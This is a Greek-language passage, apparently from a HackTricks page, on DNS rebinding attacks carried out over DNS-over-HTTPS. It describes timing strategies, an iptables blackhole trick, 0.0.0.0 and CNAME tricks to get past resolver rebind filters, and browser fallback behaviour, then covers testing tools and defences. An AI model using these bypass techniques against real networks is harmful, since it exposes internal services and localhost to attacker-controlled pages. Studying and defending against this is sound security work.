Το DoH απλώς tunnelάρει το κλασικό RFC1035 DNS wire format μέσα από HTTPS (συνήθως ένα POST με Content-Type: application/dns-message). Ο resolver εξακολουθεί να απαντά με τα ίδια resource records, οπότε οι SOP-breaking techniques συνεχίζουν να λειτουργούν ακόμη και όταν οι browsers κάνουν resolve το attacker-controlled hostname μέσω TLS.

Key observations

  • Chrome (Windows/macOS) και Firefox (Linux) κάνουν επιτυχώς rebind όταν είναι ρυθμισμένα για Cloudflare, Google ή OpenDNS DoH resolvers. Η transport encryption δεν καθυστερεί ούτε μπλοκάρει το attack-flow για στρατηγικές first-then-second, multiple-answers ή DNS cache flooding.
  • Οι public resolvers εξακολουθούν να βλέπουν κάθε query, αλλά σπάνια επιβάλλουν το host-to-IP mapping που πρέπει να τηρεί ένας browser. Μόλις ο authoritative server επιστρέψει τη rebinding sequence, ο browser διατηρεί το αρχικό origin tuple ενώ συνδέεται στη νέα IP.

Singularity strategies and timing over DoH

  • Το first-then-second παραμένει η πιο αξιόπιστη επιλογή: το πρώτο lookup επιστρέφει την attacker IP που σερβίρει το payload, κάθε μεταγενέστερο lookup επιστρέφει την internal/localhost IP. Με τα τυπικά browser DNS caches αυτό μετατρέπει την κίνηση σε ~40–60 seconds, ακόμη και όταν ο recursive resolver είναι προσβάσιμος μόνο μέσω HTTPS.
  • Τα multiple answers (fast rebinding) εξακολουθούν να φτάνουν στο localhost σε <3 seconds απαντώντας με δύο A records (attacker IP + 0.0.0.0 σε Linux/macOS ή 127.0.0.1 σε Windows) και μαυροτρυπώντας προγραμματισμένα την πρώτη IP (για παράδειγμα, iptables -I OUTPUT -d <attacker_ip> -j DROP) λίγο μετά το φόρτωμα της σελίδας. Η υλοποίηση DoH του Firefox μπορεί να εκπέμπει επαναλαμβανόμενα DNS queries, οπότε η Singularity διόρθωση είναι να προγραμματίσεις τον firewall rule σε σχέση με τη χρονική σήμανση του πρώτου query αντί να ανανεώνεις το timer σε κάθε query.

Beating “rebind protection” in DoH providers

  • Ορισμένοι providers (π.χ. NextDNS) αντικαθιστούν private/loopback responses με 0.0.0.0, αλλά τα Linux και macOS δρομολογούν ευχαρίστως αυτόν τον προορισμό σε τοπικές υπηρεσίες. Η σκόπιμη επιστροφή του 0.0.0.0 ως δεύτερου record, λοιπόν, εξακολουθεί να pivotάρει το origin στο localhost.
  • Το φιλτράρισμα μόνο της άμεσης A/AAAA response είναι αναποτελεσματικό: η επιστροφή ενός CNAME προς ένα internal-only hostname κάνει τον public DoH resolver να προωθεί το alias ενώ browsers όπως ο Firefox επιστρέφουν στο system DNS για την internal zone, ολοκληρώνοντας την επίλυση σε μια private IP που εξακολουθεί να θεωρείται ως attacker origin.

Browser-specific DoH behavior

  • Το Firefox DoH λειτουργεί σε fallback mode: οποιαδήποτε DoH αποτυχία (συμπεριλαμβανομένου ενός unresolved CNAME target) ενεργοποιεί μια plaintext lookup μέσω του OS resolver, ο οποίος συνήθως είναι ένας enterprise DNS server που γνωρίζει το internal namespace. Αυτή η συμπεριφορά είναι που κάνει το CNAME bypass αξιόπιστο μέσα σε corporate networks.
  • Το Chrome DoH ενεργοποιείται μόνο όταν το OS DNS δείχνει σε έναν whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9, κ.λπ.) και δεν παρέχει την ίδια fallback chain. Internal hostnames που υπάρχουν μόνο στο corporate DNS, λοιπόν, αποτυγχάνουν να επιλυθούν, αλλά το rebinding προς localhost ή οποιαδήποτε routable address εξακολουθεί να επιτυγχάνει επειδή ο attacker ελέγχει ολόκληρο το response set.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS και δώσε το DoH endpoint (Cloudflare και NextDNS είναι ενσωματωμένα). Chrome/Chromium: ενεργοποίησε το chrome://flags/#dns-over-https και ρύθμισε τους OS DNS servers σε έναν από τους υποστηριζόμενους resolvers του Chrome (π.χ. 1.1.1.1/1.0.0.1).
  • Μπορείς να κάνεις query απευθείας σε public DoH APIs, π.χ. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq για να επιβεβαιώσεις τα ακριβή records που θα κάνουν cache οι browsers.
  • Η παρεμβολή στο DoH σε Burp/ZAP εξακολουθεί να λειτουργεί επειδή είναι απλώς HTTPS (binary DNS payload στο body). Για packet-level inspection, εξήγαγε TLS keys (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) πριν ξεκινήσεις τον browser και άφησε το Wireshark να αποκρυπτογραφήσει τα DoH sessions με το dns display filter για να δεις πότε ο browser μένει στο DoH ή επιστρέφει στο κλασικό DNS.

Real Protection against DNS Rebinding

  • Χρησιμοποίησε TLS σε internal services
  • Απαίτησε authentication για πρόσβαση στα δεδομένα
  • Επαλήθευσε το Host header
  • https://wicg.github.io/private-network-access/: Πρόταση να στέλνεται πάντα ένα pre-flight request όταν public servers θέλουν να έχουν πρόσβαση σε internal servers

Tools

Fuzz πιθανές misconfigurations σε CORS policies

References

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks